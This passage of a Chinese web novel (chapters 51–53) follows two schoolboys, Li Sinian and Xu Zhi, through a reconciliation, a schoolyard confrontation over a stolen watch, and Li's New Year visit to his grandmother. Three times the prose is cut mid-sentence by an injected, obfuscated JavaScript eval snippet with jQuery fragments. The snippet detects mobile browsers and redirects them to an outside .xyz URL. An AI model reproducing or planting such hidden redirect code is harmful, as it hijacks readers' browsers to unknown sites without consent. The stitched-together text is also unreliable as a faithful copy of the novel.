或许对于李斯年这样聪明的人,他从一开始就不应该用模糊不清的“不是一个世界的人”这种说辞来搪塞他。 虽然这在许之心里也的确是一个事实,但却不是最准确的说法—— “因为,我觉得是我害得你变成现在这样。” 许之抬起原本微微下垂的眼眸,与李斯年四目相对。 他的眼睛非常黑、非常亮,总是给人一种近乎执拗的纯净感。 哪怕没有要索求保护的意思,但李斯年每次看到这样的眼睛,都很想将它藏起来,不让风雪再有机会落进去。 李斯年听到这句话,眉头一皱,下意识就想要解释,但许之示意他听自己说完。 “就算你说和李宇的关系向来如此,但这次会闹得这么严重,是因为被误会和我在一起了,而你没有解释反而承认,是因为许茜对我说的那些话,你替我觉得难以接受。” 这一切都是一环扣一环的,所有的困境都是由许之衍生而出,许之觉得自己就像是一个散发毒气的沼泽,不仅要让李斯年越陷越深,还叫他毒发身亡。 “你装作同性恋也是为了帮我摆脱许贺亮,这是错误的源头,都是因为我……你或许觉得自己做这些没什么,因为你本来就是这样性格的人,正直、善良、乐于助人。但我不能觉得没什么、我没办法就这样坦然接受,因为我当你是朋友。” “但这是个悖论,如果我真心当你是朋友,我就不该再和你做朋友。” 许之这番话说的真诚,几乎称得上是违反了一直以来的性格和表达习惯。 一字一句都像是山石滚落,密而重的砸在李斯年的耳中心上。 他指尖不留痕迹地收紧了些,竭力自控着那股将眼前人拥入怀里的冲动。 “不是的……”李斯年话说一半,又不知下面的话该怎么继续。 说自己所作所为或许一开始的确是下意识的正义之举,但到后来早就已经变味了? 说他就是居心不良、别有所图,只是想打着朋友的旗号、借着共同经历的这些事做借口,让许之留在自己身边? 但李斯年知道这些都不能说,在确定许之也喜欢自己之前,说了,就是挟恩图报。 “你可以收回这些好意,真的没关系。”许之的声音将李斯年从思绪中唤回。 “好事做一半,也没关系,不是非要一直做到底,你帮我已经很多了,我说谢谢你,是真心的,可是我也是真心不想让你再因此过这样的生活。你治好脚伤,然后回家住,恢复以前正常的日子,还剩半年,好好准备高考,走你之前该走的那条路。” 话还是那些话,跟在江二中北门时是一个意思,但许之今天的言辞与语气更是近乎许愿,让李斯年的心起了一阵幸福的颤栗。 这是他喜欢的人啊,每句话都是在为他做打算。 李斯年轻轻叹息:“我想,你是误会了一些事情。你的出现,对我而言并不是什么坏事,相反,我觉得生活变得有趣多了。” “说出来不怕你笑话,我从前都是过一天是一天,每天和昨天没什么不同,不缺钱不缺吃喝,想要什么都能有,但也就变得全都没什么意思。特别是我妈走了之后,这种空洞的感觉就更明显了。” 李斯年语调平平,只有低垂的眉眼无声宣告着低落情绪。 许之鲜少见到他这样,嘴唇蠕动着想说些什么,却半天都没能组织好语言。 他再一次对自己贫瘠的安慰能力而感到无力与自责。 “不过认识你之后,我偶尔也会开始畅想未来是什么样。”李斯年说到这里,不漏痕迹的停顿片刻,把真正想说的话藏了回去,“毕竟我朋友也不是很多,方行舟成绩又有点着急,还是你最有可能和我考到同一所大学,那以后上学或工作都有个伴,这样也挺有盼头。” 哪怕做不成情侣,当一辈子朋友也可以,偶尔下班可以约着吃一顿饭,周末去周边兜兜风散散心。 爱意真的是一个非常奇妙的东西,看似是李斯年在主动给予,但过程里,他却也在被动获得。 获得一些连许之都不知道的力量与期许。 或许是被李斯年那“有盼头”三个字牵动了心底的某些情绪,许之紧绷的眉眼也松了下来,甚至忍不住跟着他的话,幻想了那样美好的未来。 李斯年松开了手,翻身从许之身上下来,顺势侧坐在床边:“有些事情你不知道,其实我和李宇,这么些年来,到如今这一步是迟早的事,我曾经说‘不是因为这件事、也会是因为别的事’,并 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15410575|168693||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不是为了安慰你。他是个掌控欲极强的人,连高考志愿都早就帮我定好了,当然不可能是化学,而是金融或者管理。” “什么?!”许之愣住了。 李斯年在化学方面的天赋人尽皆知,而且他非常热爱这门学科,李宇怎么会不知道。 况且比起其他无数变着法玩物丧志的富二代,李斯年的这个志向可以说是非常正向且有益了,李宇为什么要阻拦? 李斯年仿佛看出许之的想法:“因为这样,我毕业后去他的公司就更加名正言顺,他其实没那么需要我这一个员工,但他需要别人羡慕他的儿子能子承父业、需要别人赞扬他教子有方,这样的人设光环能帮助他在从商之路走的更顺更稳。他要所有身份的完美无缺,他就是这样非常自我的一个人,哪怕对他人的付出——在他看来,送我去名校学金融管理当然是金钱和人脉的付出,也全都是为了他自己的利益。” “所以,我和李宇之间的暗雷,最迟也会在高考之后爆发,你的这件事,不过是将它早半年引爆而已,没什么区别,所以你真的不要因此自责。哪怕现在你搬走、和我绝交,我也不会回碧水名城。这出租屋我觉得挺好的,自食其力也挺好,你或许觉得我这种大少爷、天之骄子——我早就瞧出你是这样看我的——如今过这种日子很憋屈,但我说实话,打工兼职都会累、会辛苦,可是唯独不会憋屈。” 李斯年说完这些话,也没有期待着许之立刻回答,而是给他留了时间,转身下床去倒水。 许之手撑着床坐起身,静静听着水倒进杯子的声音,李斯年倒了两杯,自己喝完了,再把另一杯递过来给许之。 许之抬头看了他一眼,接了水,手半搁在膝头。 他心中五味杂陈,原本以为李宇和李斯年的矛盾,单纯源于母亲去世造成的常年隔阂,但其实许之忽略了一点:自己根本不了解李宇是一个怎样的人,而李斯年又承担着哪些其他的压力。 他实在不该贸然劝他回碧水名城的。 或许在那里,李斯年反而会难以呼吸。 李斯年看到许之的表情松动,知道他将这些话都听进去了,于是神色更柔和了几分,劝道:“现在,我们算是说开了吧?” 许之小幅度的点头:“对不起,我之前不知道这些。” 李斯年摆摆手:“不怪你,我不说你哪能知道呢?” 他长长的呼出一口气,不是叹气,倒像是内心长久以来封闭的一处门被打开,关在里面不知停滞和积累多久的空气因此得以倾泻而出似的。 “所以你不要总觉得自己这不好那不好了,要不是你,谁陪我吃小龙虾、听我说这些,李糯糯还是个小屁孩,我做哥哥的,什么都要扛着……说起来,还是该我感谢你。” 许之感觉到李斯年的目光落在自己身上,他下意识抬头看,那目光非常温柔,像是一团柔软蓬松棉絮,只要看上一眼,就会整个陷进去。 眼神相撞的瞬间,只是一眨眼,李斯年的神态便又恢复了往常那样的三分笑意七分散漫。 或许是屋内太昏暗,看错了,许之心想,他怎么会差点以为李斯年看向自己的眼神像是在注视着情人呢。 “这些都不是什么大事,你其他朋友也能陪你做的。”许之说 李斯年摇头:“那不一样。” 究竟有什么不一样,他也没有继续说下来,而是话题一转:“既然误会解开了,你……要不要考虑搬回来?” 51.得知 许之并没有立刻回答李斯年的问题。 因为这种感觉有点奇怪。 他明明已经下了那么大的决心要离开、不再影响李斯年的生活。 但二人推心置腹的聊开之后,再坚持下去,显得他现在没事找事,但不坚持下去,又显得他之前没事找事。 李斯年看出他的表情为难:“我要一个人承担房租,压力还是挺大的,你也要多花一份钱,没必要嘛,大不了我们约法三章,以后筹钱过程公开透明,谁也不准再瞒着谁干苦活累活,实在不行,可以一起干,怎么样?你也别老把我想的太娇气了。” 其实许之那边的租房的确是每月一付,因为窄小偏僻,甚至不需要押金,要退租还算方便。 但他觉得今晚发生了太多事,脑子也有点乱,就这样答应下来,有些仓促。 况且,就算答应李斯年,那边似乎也要住到到期才划算。 “我想想。”许之说。 李斯年的预期是只要别拒绝就好,所以觉得这样的答案完全可以接受。 在二人说话期间,外头的雨已经落下了。 江城的雨总是来得急,很少有连绵小雨的时刻,一来就是大暴雨,更何况今晚本就是寒流加暴雨橙色预警双重加持,话音落后,安静的屋内便只剩风雨呼啦啦的声音。 这声音乍听在耳里是凉意,因隔着门窗而造成的模糊不清又带来些许暖意, 安全感总是在特定情景下油然而生——先有危险、再有港湾,因此形成。 “今晚在这睡吧,这个点出去,万一哪个广告牌被刮下来,都看不清的。”李斯年说。 这倒是没有理由拒绝,这种天气,伞都是拿不住的,五秒之内就会被吹飞。 许之打开柜子,把自己那床被褥拿出来铺好,李斯年又从上层变出一个双人尺寸的毛毯,也不知道是什么时候准备的。 都还不知道许之会不会在这个冬季同意恢复合租,他就已经提前准备了。 李斯年把毛毯加在两床单人被褥上面:“降温了,一层被子顶不住。” 毛毯这么一铺,乍一看,二人就像是盖着同一床被子似的。 许之正想着,忽然感觉到领口被扯动,是李斯年手伸到他外套敞开的边缘,捻了捻他内搭领口与肩头衔接处的布料。 这动作其实是有些亲昵的,但李斯年却做得很自然,甚至在许之反应过来之前,手就已经收回去了。 “是不是前脚刚打了工就过来了?”他说着,撑床站起来,打开衣柜,“去冲个澡,我给你拿换洗的。” 其实汗湿的衣服早就干的差不多了,只剩被外套捂严实的部分有些许潮意,许之不知道李斯年是怎么看出来的,拎起自己的衣领闻了闻:“是有味道吗?不好意思。” 没什么汗臭味,反而是被体温烘过的柑橘味,李斯年在心里想着,却只说:“没有,我是看你刚进门时,头发是湿的,贴在脸上。” 其实他最初的计划只是趁机把许之手腕抓住,给他来个措手不及。 但不知为什么,付诸实践时就下意识另一只手揽着人,一翻身就往床上放了。 看着许之猝不及防被按在床上,红润的嘴唇微张,满眼的惊愕,平日里的疏离和淡定全都不见了,像是被敲开蚌壳的可爱小生物。 实在是……非常赏心悦目。 洗漱完毕后,也没什么别的事,许之今天空着手来,连刷卷子打发时间都没机会,于是吹干头发后就钻进被子里酝酿睡意。 李斯年打游戏也打的心不在焉,难得又有这样共处的时光,似乎不聊点什么就很浪费。 他在脑海里思索了好一会,刚想问许之今年过年怎么打算,转过身去,却发现对方已经睡着了。 他睡得毫不设防,显然无论是对这个环境还是身边的人都感到安心。 呼吸轻缓绵长,肩膀与后背处的被子掖得紧实服帖,半边脸陷在柔软的枕头中,显得高挺鼻梁的弧度更加笔直好看。 李斯年就这样静静地看了他好一会,像是搁浅许久的鱼终于被浪卷进了水里,得到了属于自己的氧气。 毕竟作为朋友,白日里、外人前,注视的目光是无法这样肆无忌惮停留的。 “晚安,许之。”李斯年在心中无声地说,轻轻关掉了台灯。 - 暴雨在第二天清晨就停了,寒流从此就将江城的平均温度彻底拉低了,象征着初冬过渡到深冬,许之次日是穿了件李斯年的加厚外套离开的。 生活恢复成之前的样子,除了许之暂时还没搬回出租屋。 和好的氛围是显而易见的,周一上午方行舟就察觉到了,开玩笑的说了句:“你们这分分又合合的,什么小情侣?” 李斯年笑骂了他一句,心情很好。 期末考试如期进行,只是在寒假之前发生了一件不大不小的插曲——李斯年无意间得知了许之找手表的前因后果。 这件事说来也挺简单,纯属巧合,那是期末考试结束的次日,李斯年被许之催着去骨科医院再复查一次,于是请了上午半天假。 但检查做的还算快,十一点多他就从医院出来了,想着中午和许之一起去食堂吃饭,于是直接往学校走。 上午第四节课是体育课,李斯年还坐着轮椅,没坐那趟会在南门停的公交车,而是坐地铁就近从学校正门进了。 正门和行政楼之间是笔直的路,两边是大片绿化,树木在深冬时候变得光秃秃,李斯年推着轮椅往前走了会,余光很轻易就瞟见了深处站着的几个人影。 是钱霆和他的小弟,比较另他意外的是还有魏旬。 李斯年其实对他们在做什么没兴趣,只是因为想起许之之前和自己说过“小心魏旬”,所以推滚轮椅的手不由自主放慢了速度。 而钱霆没发现有人路过,声音是一贯的嚣张,那句“看在你上次把许之引过来的份上,保护费打九点五折”就这样顺着风吹进了李斯年耳中。 许之这两个字现在在李斯年脑中是设置了“重点响应词汇”的,他目光四扫,弯腰在脚边捡起三四个鹅卵石,扬手就掷了一颗到钱霆的脚下。 差一点点砸到钱霆的脚背,他诶唷一声,看到了李斯年:“哟,轮椅专业户怎么来了?” 魏旬一回头,瞬间脸都白了,他下意识做了一个想逃走的后退动作,但又忌惮的看了眼钱霆,终于是没敢继续动。 李斯年只是冷冷看了他一眼,就把他忽略了,直问向钱霆:“你刚说的什么意思?什么是‘把许之引过来’?” “装什么傻啊你!”钱霆一笑,没有丝毫愧疚,“说起来你还要感谢我,经过这种事,你们俩的感情一定更牢固了吧?” 这种事? 李斯年心里有种不好的感觉,他目光沉沉:“别废话,快说。” 钱霆有点惊讶,没想到许之真一个字都没和李斯年提:“那天你手表是我一个小弟捡到的嘛,后来魏旬听说许之在找,就好心告知,然后我就把表还给他了。” 钱霆说的很轻描淡写,但李斯年用小拇指都能猜出出这个“还给他”是怎么还的。 怪不得许之会知道手表在水里,还往里跳。 “我之前是不是跟你说过,不要招惹许之。”李斯年从牙缝里挤出几个字,额头青筋直爆。 想到许之当时差点溺死的模样,就恨不得把钱霆也暴揍一顿扔进水塘里。 但他现在行动不便,于是猛地抬手,这次鹅卵石是直接砸到了钱霆膝盖上。 石头与膝盖撞击 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15424313|168693||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,发出一声闷响,钱霆表情立刻扭曲成一团,捂着腿痛呼:“草!你他妈……” 两边的小弟冲上前,伸手就想要把轮椅上的李斯年拽下来,而就在此时,下课铃声响了起来。 楼栋之间很快就涌出了学生,不远处的行政楼也开始有教职工推门而出,往食堂走。 两个小弟略迟疑的看向钱霆,后者的目光也投向行政楼—— 庄主任办公室就在这栋楼。 李斯年看出钱霆目光中有畏惧,转过脸来:“好话不过三,钱霆,我最后告诫你一次,再动什么歪心思的话,我保准你拿着你舅舅亲手颁发的肄业证从育德滚出去,你很清楚我能说到做到。” 手表那件事,许之到底是没真的出事,况且李斯年没有任何证据,哪怕是告知庄主任,钱霆受到的惩罚恐怕也很有限。 而他此刻的威胁话语,更多是依仗着双城首富之子的身份,暗示钱霆,自己可以动用李宇的能量做些什么。 李斯年知道,钱霆畏惧的正是这个。 他难得的有些庆幸,自己拥有这样的身份,但随之又觉得不太好受——这样一面想要逃离李宇、又一面不得不仰仗李宇的感觉。 让他不得不正视自己弱小无力的部分,还不足以保护心爱的人。 但这些内情细节,钱霆是不会知道的。 他权衡思索着李斯年的话,胸膛快速起伏几下,终于还是不得不承认正面怼李斯年是不明智的选择,只好重重的哼了一声,对小弟说“走!”,甩手离开。 几人走后,四周一下就静了下来。 只剩下魏旬突兀的站在原地。 他其实也想赶紧溜走,又怕这样显得自己就是钱霆那些小弟之一,这么踌躇的几秒间,原地就剩他自己了。 魏旬感觉到李斯年投来似笑非笑的目光,轻蔑又嘲弄。 明明对方坐在轮椅上,比自己矮一截,但魏旬却觉得处于低处的人是自己。 心虚顺着脊背往上爬,魏旬扶着眼镜清了清嗓子,想解释:“李斯年同学,我……” “我问你了么?”李斯年淡淡开口,把魏旬的话堵了回去,任凭他脸一阵白一阵红,抬起那只拿着石头的手。 魏旬以为李斯年也要像砸钱霆那样砸自己,他像只应激的尖叫鸡,发出尖锐的爆鸣,整个人提前往后一跳。 但下一秒,他就发现李斯年根本没有“投掷”的动作,他真的只是松开手指,任凭石头自由落体掉在地面上。 李斯年嗤笑一声:“心这么黑,我还以为你有多大胆子呢?” 魏旬咬着腮帮子,怒而不敢言,钱霆刚才说的话把他卖了个彻彻底底,想要完全撇清是不可能的了。 “许之怎么你了,你要这么坑他?”李斯年往前推了推轮椅,将二人之间的压迫力提升。 魏旬感觉李斯年的目光像是无形的手,掐得自己喘不过气来。 他努力保持声音平稳,狡辩道:“我、我不知道许之和钱霆有仇啊,我只是偶然看到钱霆手里那个表,又见到许之着急找,我完全是好心指路,指完就走了,后面发生了什么我也是今天才知道……” “你觉得我会信?”李斯年毫不留情的打断:“正常学生都知道别和钱霆那种人打交道,就算看到手表在他手里,也会提议先跟老师说,结果你却直接把许之往钱霆那边指。” 魏旬瞪着眼,喉头滚动,剩下的话说不出来、又咽不下去。 李斯年看魏旬这副模样,已经能完全确定他应该早就和钱霆私下有勾连了,虽然不知道参与过哪些事、参与了多少。 恐怕之前许之会告诫自己要小心对方,也是因为察觉到了这一点。 “这件事我会如实告诉老董头的,你好自为之。”李斯年说。 52.老家 魏旬整个人僵硬在原地,空张着嘴,想说什么,但又好像不知该怎样组织语言。 单就快班学生私下跟问题学生钱霆、校外混混接触这件事,就够他喝一壶的了。 魏旬心不住地往下沉,看刚才钱霆言语间毫不在乎的出卖自己的模样,若是董老师找他核实,恐怕他也会很乐于再把自己丢出去挡枪。 李斯年看着他这副表情,心中没有任何触动,他自觉没有那么高尚,暂时没法因为这件事奈何钱霆,但魏旬必须付出应有的代价。 李斯年手扶着轮椅,准备转身离开。 魏旬似乎这才陡然回过神,他几乎是扑到李斯年轮椅前,慌张急切道:“别!别和董老师说!” “滚开。”李斯年冷冷道。 魏旬奋力摇头,更加死死攥住扶手,刚才还在勉力维持的狡辩面具此刻已经碎了一地。 他也顾不得丢脸不丢脸了,一旦李斯年告诉董老师,那么自己这些年辛苦建立的好学生形象就全毁了,这对魏旬来说比杀了他还难受。 “我真的不知道钱霆为什么会让许之往水里跳!我以为他只是会言语上为难一下他而已,我、我是一时鬼迷心窍了,你每次考的都比我好,我看许之和你关系不错,我就、就……” “就因为我分数比你高,你就去害许之?”李斯年根本无法理解这种脑回路,觉得荒谬又可笑,“你他妈的脑子是不是有病?!” 魏旬涨红了脸,双腿不由自主的从半蹲转为跪地,就差没给李斯年磕一个了:“我知道,这事完全是我做的不对,我错了,我等下就去找许之道歉!只要你别告诉老师,我做什么都行……” “道歉有什么用?!” 李斯年听得火直冒,一把攥住了魏旬的领口,声音冷得彻骨:“你知不知道,那天要是我晚到一分钟……不、哪怕半分钟,许之很可能就淹死了!” 说完,李斯年双手用力,狠狠的往前一推,魏旬软着腿,扑通一声摔坐在地上,厚厚的眼镜从脸上滑落,狼狈的跌进泥土地里。 李斯年像是在看着极其肮脏的东西,声音充满了厌恶:“既然敢做这种事,就该知道会有什么后果,这是你该的。” 说完,头也不回的走了。 午间的校园里,所有喇叭齐声播放着欢快的曲调。 魏旬整个人僵在原地,久久维持着摔落的姿势。 像是一截冻硬又被敲断的枯木树干。 - 期末考试分数出来之后,寒假就开始了。 排名没什么悬念,李斯年以两分之差处于许之之下。 而李斯年本人对于从千年老大跌到千年老二这件事上接受度良好,看向排名榜的眼神甚至有些宠溺,把不明真相的方行舟给吓坏了,跟在屁股后面追问了好几句,才终于确定李斯年是真的不在意、而不是被气成了傻子。 迎接高中最后一学期的假期注定不会悠闲,每个老师都布置了足以让全班哀嚎的寒假作业,就连李斯年也不得不在寒假开始的前两周趴在课桌前奋笔疾书。 许之仍然忙着打工,李斯年有意给他留空间,没有急着再提合租的事情,脚踝恢复得差不多后,李斯年在年二十七回了一趟孝县。 其实他已经有几年没回去了,比起李糯糯每逢假期必去外婆家住,李斯年通常只在几个长假和过年、李宇把外婆接来江城时,见外婆一面。 这种心情很微妙,他当然是爱外婆的,但郑秀和外婆长得像是其一,其二是孝县不大,大街小巷处处都残留着儿时郑秀带李斯年玩耍过的记忆。 这些东西就和小龙虾一样,让李斯年又想、又怕。 但今年不同,李宇和许茜在一起了,外婆便不愿意再来江城过年,要留在孝县,而李斯年也被许之陪着吃了小龙虾,忽然觉得回一趟老家似乎也没有想象中那么难。 这些巧合凑在一起,让李斯年坐上了去孝县的火车。 李糯糯早就在寒假开始就跑去了孝县,李斯年让她们不用接,自己出站后坐公交车回了外婆的住处。 那是一家印刷厂的老宿舍楼,厂子早在十多年前就已经破产了,周边卖给了其他房地产开发商,建起了不少高大的电梯楼,衬得中间这一圈矮小老旧的房屋格外醒目。 像是一个忘记跟随时代脚步前进、停留在原地的老人。 老宿舍不隔音,许多屋子的结构都是厨房抽油烟机对着走廊侧边。 饭点时刻,油烟与饭菜香味都快要将楼栋包围起来,李斯年爬上四楼,觉得这里的烟火气息实在是和三岔巷子很像。 他忽然想起许之,也不知道他现在在做什么。 李斯年拿出手机,发了条微信。 SN:吃晚饭了吗? 把手机揣回兜里,外婆家在走廊尽头倒数第二间,这里住的都是相识几十年的老街坊、老同事,大家白天几乎都是不锁门的。 现在天气冷了,也只是在纱门外面加了一层塑料门帘。 李斯年掀开门帘,铺面而来的就是油炸的香气与暖意,厨房里传来食物下油锅的刺啦声,李糯糯穿着外婆的花布围裙,绳子在腰上绕了两圈,正在桌前包春卷。 “哥!” 随着李糯糯的声音,外婆也从厨房走出来。 大半年没见,她头上的白发又多了些。 “斯年啊,怎么才到,这么久没回,迷路啦?” 李斯年一笑:“迷路倒是没迷路,就是公交车坐反了一站。” “那还不是一个意思!我看你就是路痴。”李糯糯抓着机会就要损亲哥。 “怎么说哥哥的,没大没小呀。”外婆笑得眯了眼,每一条皱纹里都是慈祥的爱意:“快洗洗手坐,春卷要出锅了。” 说着,又回到厨房。 很快,金灿灿的春卷就被摆盘端出,有素馅、有肉馅。 “还有这个,你爱喝。”外婆又拿来一壶冒热气的生姜煮可乐,“天冷了,喝热的好。” 李斯年其实从小就不太喜欢生姜的味道,但没说什么,仍然是笑着倒进杯子里,喝了一大口。 这是属于老人的爱意,又记得年轻人爱喝的时髦汽水、又实在是无法接受冬天喝凉的,于是折中,给煮了。 最后外婆用小碗装了几个素馅春卷,拿去了郑秀的遗像前,絮叨着,说家里好久没这么热闹了,今天斯年也回来了,等等。 老人笑着说这些话,李斯年却觉得有点难过,他按耐住心情,和李糯糯一起给郑秀的遗像换了新香,坐回餐桌前。 手机响了一声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15436247|168693||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,李斯年拿出来看,是许之回了消息,没有文字,只是一张照片。 李斯年回孝县的这两天,拜托许之暂时住回来,好照顾小白。 照片里,餐桌上有个碗,碗里是圆滚滚、冒着热气的速冻水饺,是李斯年前天去超市买的,而小白正站在左侧另一个椅子上,前脚搭上桌,伸着脖子满脸好奇往碗里瞧。 李斯年也点开相机,将手机横过来,拍了桌上的春卷和饮料,又打了几个字。 SN:生姜可乐,喝过没? 正在输入几个字出现,很快许之就回了消息。 许:啊? 李斯年忍不住勾了勾嘴角,他都能想象到许之此刻疑惑的表情,又敲下几个字。 SN:回去煮给你喝。 “跟谁发消息呢,笑得这么开心?”外婆夹了肉馅的春卷去李斯年碗里,打趣道,“不会是谈恋爱了吧?” 从李糯糯的角度,能看到李斯年手机对话框上备注的“许之”二字,听了这话,一口生姜可乐差点喷出来。 李斯年这个当事人反而毫不心虚,笑得更开心:“外婆猜猜看呢?” 外婆是个开放的老太婆,她倒是没觉得早恋有什么问题,端详李斯年片刻,也看不出端倪:“我想不出什么女孩子能入得了你的眼哟。” 李斯年乐了:“就是说啊,外婆眼光还是那么准。” 李糯糯提着一口气,看着亲哥在这里表演花式走钢丝,心里翻了个白眼,顺带着把春卷嚼的咔咔响。 “我看呀,梁芷那姑娘就很不错,你们又算是青梅竹马、知根知底。”外婆闲聊着,“她对你有点意思,老太婆我看得出来。” “我把她当亲妹妹,不可能的啦。”李斯年说。 外婆跟着笑笑,也没再继续说,话题又转到李斯年的高考和志愿上,最后以李倾诺的期末考试成绩和排名结尾。 吃了饭收拾好碗筷,二人陪着外婆看了会新闻联播,老人的作息向来规律,刚过八点半,就已经开始打哈欠了。 于是李斯年也顺势说要早点休息。 外婆领着他去卧室:“糯糯跟我睡,你就睡你妈以前的那间小卧室,取暖器我都给你开好了,看被子够不够厚?” 郑秀的卧室还是她曾经在孝县读初高中时的模样,属于少女的整洁、干净。 墙上贴了几张港星的海报,如今已经有些泛黄褪色,但边角仍然平整,大概是外婆后来专门加固过。 李斯年手捻了捻被褥:“够啦,肯定很暖和。” “那就好,我昨天专门去找老王弹得新棉花呢。” 老王是路口那家开了十多年弹棉花铺的老板,“要我说,就留下过年多好?这里还能放烟花,你以前喜欢玩的那些摔炮,我都备着了。” “今年寒假作业多,高三下学期还会提前开学,时间不太够用,明年吧,明年我一定来陪您过。”李斯年说。 “好好好,肯定是学习更重要,辛苦了这么多年,就看这最后半年了。” 外婆通情达理说完,又帮他把取暖器挪到一个安全、但仍有热度的距离,设好了定时,“去简单冲个澡,就早点睡,明天我给你买早餐,小时候你最爱吃的豆皮。” 李斯年笑着:“好,谢谢外婆。” 53.返程 李斯年送外婆离开后,回坐到了床上。 手机有好几条未读消息,方行舟发来的几个搞笑视频链接、还有各种群里的闲聊,李斯年往下滑,找到被挤到最后面、许之的对话框。 在李斯年那句“回去煮给你喝”的下面,许之回了三个点点点。 像是无奈又不好意思拒绝的叹息。 这人怎么这么可爱而不自知啊。 李斯年又拍了张卧室的照片发过去。 SN:今晚我睡妈妈以前读书时的卧室。 发完后,也没专门等着人回复,而是先去洗漱好了,钻进被窝。 电热毯是外婆提前开过、然后再断电了,留下安全的暖意,李斯年侧躺着,闻到被褥床单上阳光的味道,恐怕是外婆白天专门拿去外头晒过。 打开手机,许之还没回消息,李斯年也不是很介意,又发了一句过去。 SN:你听过一个说法没,晒过的被子的味道,其实是烧焦螨虫的味道。 许之这次倒是回的很快。 许:? 仿佛是没看懂李斯年前后这两句话有什么关联。 然后又发了两条。 许:刚在给小白热猫饭。 以及引用了李斯年前一句说卧室的那条—— 许:睡个好觉。 只是简简单单几个字,就将李斯年心里说不清道不明的沉闷感一扫而空。 许之大概是懂他那句话背后的心情的。 老房子的好处是沉淀了许多旧时光,坏处也是沉淀了许多旧时光。 在李倾诺出生前,郑秀每次带李斯年回孝县时,都是住在这间卧室。 床架子是外公年轻时自己打的,说是单人床,但其实比常规单人床的尺寸要宽些,介于单、双人床之间。 每次外婆铺床时,都要发牢骚,说这床用着太麻烦,床单都要专门裁剪,才能正好合适。 话虽如此,这床还是一用就是二十多年,木头被保养的光泽极好,不见灰尘。 李斯年轻轻敲下几个字。 SN:你也是,晚安。 许:晚安。 仿佛得到这句晚安就应该踏踏实实睡好觉一样,尽管才刚到九点,远远不是李斯年作息里的睡觉时间,但他还是把手机放到了枕头下,酝酿睡意。 其实今年之所以不在孝县陪外婆过年,是因为李斯年已经决定了,要叫许之来出租屋一起跨年。 这个决定让李斯年对外婆有些愧疚,但今年实在是情况特殊,李斯年稍微好点,尚且有老家外婆这里可以回,许之却是无处可去。 他不可能回碧水名城,也没有其他亲戚朋友,只要一想到许之独自在租房里过大年三十的景象,李斯年就觉得不是滋味。 对不起,外婆。 李斯年在心里说。 这世界上有太多事情无法两全,只能尽可能的做权衡,以及不要违背自己心里最强烈的声音。 他想,外婆一定会谅解自己的。 - 次日没有什么安排,李斯年也有意想纯粹的陪陪外婆,跟随老人的作息和习惯。 三人吃了早饭后,李斯年主动包揽了家务,而外婆也早早就开始张罗午饭,吃饱喝足后,下午就是昏沉的午觉时间。 李糯糯在家待不住,跑出去找儿时在孝县这边认识的朋友一起去看电影,李斯年在家帮外婆清理堆了几年的破布头和纸箱子。 过过苦日子的老人多少都有点囤物的习惯,不管有用没用、都觉得万一以后什么时候会用得上,所以越堆越多。 老宿舍没电梯,老人腿脚不好,清理一次也麻烦,李斯年在征得外婆同意后,将其中实在年头过久的东西用绳子捆了,装麻袋里丢下楼去。 外婆午觉睡醒时,天就擦黑了,李糯糯也按时回来。 三人简单吃了点小米粥和昨天炸好的春卷,听说孝县最大的公园今晚有舞龙舞狮的表演,外婆非要带着兄妹俩去看。 小地方有小地方的热闹,李斯年都要怀疑是不是整个孝县的人今晚都聚集在这里了,外婆拉着二人左钻右钻,终于找到一处靠前的位置。 随着音乐响起,表演也正式开始。 虽然远远比不上平时在网上、电视里的节目那么壮观,演员的动作也简单重复,但亲临现场的参与感还是挺不一样的,氛围浓烈。 李斯年看了会,又不忘掏出手机,拍了张照片给许之发过去。 李倾诺看着他的动作,又瞟了一眼外婆,见老人家也正认真投入的看表演,于是悄悄向李斯年的方向挪了半步,压低声音:“哥。” 李斯年垂眼看向她:“嗯?” 李倾诺咬了咬嘴唇:“你……什么时候变成同性恋的?” 这问句的核心不是“你是不是”、而是“你什么时候变成的”。 李斯年倒是没有太惊讶,李糯糯早晚会猜到:“怎么这么问?” 李倾诺:“我感觉,你在跟许之哥哥谈恋爱。” 李斯年抬手刮了刮妹妹的鼻子:“说话要讲证据哦。” “得了,你可不要太明显,这几天大事小事都要拍照给许之看,还一边笑得跟朵花似的,我都怕你在外婆面前露馅。”李倾诺心情有些复杂,二人一起去给郑秀扫墓的时候,李斯年还承认许之是同性恋、而他不是。 这才过了多久,就变了。 难道这就是爱情的力量? 李倾诺无奈的叹了口气,又问:“和男孩子谈恋爱是什么感觉,幸福吗?” 李斯年笑:“啊,是挺幸福的。” 顿了顿,又说。 “但没有恋爱。” 李倾诺一愣:“啊?你别告诉我,是你单方面喜欢他?” 